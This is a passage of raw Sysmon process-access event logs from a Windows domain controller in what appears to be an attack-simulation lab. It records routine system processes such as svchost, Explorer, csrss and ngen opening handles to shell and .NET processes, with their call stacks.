14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-6D0F-613B-9406-00000000F001}44803940C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+f5319|C:\Windows\System32\TwinUI.dll+f5d4f|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-6D0F-613B-9406-00000000F001}44805480C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-6D0F-613B-9406-00000000F001}44805480C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+15bf06|C:\Windows\System32\TwinUI.dll+83087|C:\Windows\System32\TwinUI.dll+bb7be|C:\Windows\System32\TwinUI.dll+bb789|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.196{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+4bfa5|C:\Windows\System32\TwinUI.dll+23084|C:\Windows\System32\TwinUI.dll+23138|C:\Windows\System32\TwinUI.dll+2444f|C:\Windows\System32\TwinUI.dll+22a1d|C:\Windows\System32\TwinUI.dll+22871|C:\Windows\System32\TwinUI.dll+3fb180|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0 10341000x800000000000000045694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.196{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\TwinUI.dll+4bfa5|C:\Windows\System32\TwinUI.dll+230ec|C:\Windows\System32\TwinUI.dll+23125|C:\Windows\System32\TwinUI.dll+2444f|C:\Windows\System32\TwinUI.dll+22a1d|C:\Windows\System32\TwinUI.dll+22871|C:\Windows\System32\TwinUI.dll+3fb180|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0 10341000x800000000000000045693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.149{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-BB0A-00000000F001}5212C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.133{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-BB0A-00000000F001}5212C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.133{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-BB0A-00000000F001}5212C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.086{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-BA0A-00000000F001}6176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.055{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-BA0A-00000000F001}6176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.055{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-BA0A-00000000F001}6176C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.977{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F8A-613B-D30A-00000000F001}6132C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.977{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F8A-613B-D30A-00000000F001}6132C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:30.977{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F8A-613B-D30A-00000000F001}6132C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\